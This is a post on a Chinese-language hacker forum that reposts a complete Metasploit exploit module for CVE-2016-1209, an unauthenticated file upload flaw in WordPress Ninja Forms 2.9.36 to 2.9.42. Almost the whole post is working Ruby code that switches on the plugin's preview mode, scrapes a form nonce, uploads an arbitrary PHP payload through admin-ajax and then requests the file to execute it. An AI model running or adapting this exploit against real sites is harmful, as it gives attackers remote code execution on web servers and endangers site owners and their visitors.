跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

WordPress Plugin Ninja Forms 2.9.36 < 2.9.42 - File Upload (Metasploit)

精选回复

发布于
##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'WordPress Ninja Forms Unauthenticated File Upload',
      'Description'     => %(
        Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain
        an unauthenticated file upload vulnerability, allowing guests
        to upload arbitrary PHP code that can be executed in the context
        of the web server.
      ),
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'James Golovich',                 # Discovery and disclosure
          'Rob Carr <rob[at]rastating.com>' # Metasploit module
        ],
      'References'      =>
        [
          ['CVE', '2016-1209'],
          ['WPVDB', '8485'],
          ['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities']
        ],
      'DisclosureDate'  => 'May 04 2016',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [['ninja-forms', {}]],
      'DefaultTarget'   => 0
    ))

    opts = [OptString.new('FORM_PATH', [true, 'The relative path of the page that hosts any form served by Ninja Forms'])]
    register_options(opts, self.class)
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_good(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

  def check
    check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36')
  end

  def enable_v3_functionality
    print_status 'Enabling vulnerable V3 functionality...'
    res = send_request_cgi(
      'method'    => 'GET',
      'uri'       => target_uri.path,
      'vars_get'  => { 'nf-switcher' => 'upgrade' }
    )

    unless res && res.code == 200
      if res
        fail_with(Failure::Unreachable, "Failed to enable the vulnerable V3 functionality. Server returned: #{res.code}, should be 200.")
      else
        fail_with(Failure::Unreachable, 'Connection timed out.')
      end
    end

    vprint_good 'Enabled V3 functionality'
  end

  def disable_v3_functionality
    print_status 'Disabling vulnerable V3 functionality...'
    res = send_request_cgi(
      'method'    => 'GET',
      'uri'       => target_uri.path,
      'vars_get'  => { 'nf-switcher' => 'rollback' }
    )

    if res && res.code == 200
      vprint_good 'Disabled V3 functionality'
    elsif !res
      print_error('Connection timed out while disabling V3 functionality')
    else
      print_error 'Failed to disable the vulnerable V3 functionality'
    end
  end

  def generate_mime_message(payload_name, nonce)
    data = Rex::MIME::Message.new
    data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"')
    data.add_part(nonce, nil, nil, 'form-data; name="security"')
    data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(10)}\"; filename=\"#{payload_name}\"")
    data
  end

  def fetch_ninja_form_nonce
    uri = normalize_uri(target_uri.path, datastore['FORM_PATH'])
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => uri
    )

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, "Unable to access FORM_PATH: #{datastore['FORM_PATH']}")
    end

    form_wpnonce = res.get_hidden_inputs.first
    form_wpnonce = form_wpnonce['_wpnonce'] if form_wpnonce

    nonce = res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1] || form_wpnonce

    unless nonce
      fail_with(Failure::Unknown, 'Cannot find wpnonce or ajaxNonce from FORM_PATH')
    end

    nonce
  end

  def upload_payload(data)
    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     => wordpress_url_admin_ajax,
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'data'    => data.to_s
    )

    fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
    vprint_error("Server responded with status code #{res.code}") if res.code != 200
  end

  def execute_payload(payload_name, payload_url)
    register_files_for_cleanup("nftmp-#{payload_name.downcase}")
    res = send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)

    if !res.nil? && res.code == 404
      print_error("Failed to upload the payload")
    else
      print_good("Executed payload")
    end
  end

  def exploit
    # Vulnerable code is only available in the version 3 preview mode, which can be
    # enabled by unauthenticated users due to lack of user level validation.
    enable_v3_functionality

    # Once the V3 preview mode is enabled, we can acquire a nonce by requesting any
    # page that contains a form generated by Ninja Forms.
    nonce = fetch_ninja_form_nonce

    print_status("Preparing payload...")
    payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
    payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', "nftmp-#{payload_name.downcase}")
    data = generate_mime_message(payload_name, nonce)

    print_status("Uploading payload to #{payload_url}")
    upload_payload(data)

    print_status("Executing the payload...")
    execute_payload(payload_name, payload_url)

    # Once the payload has been executed, we can disable the preview functionality again.
    disable_v3_functionality
  end
end
            

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。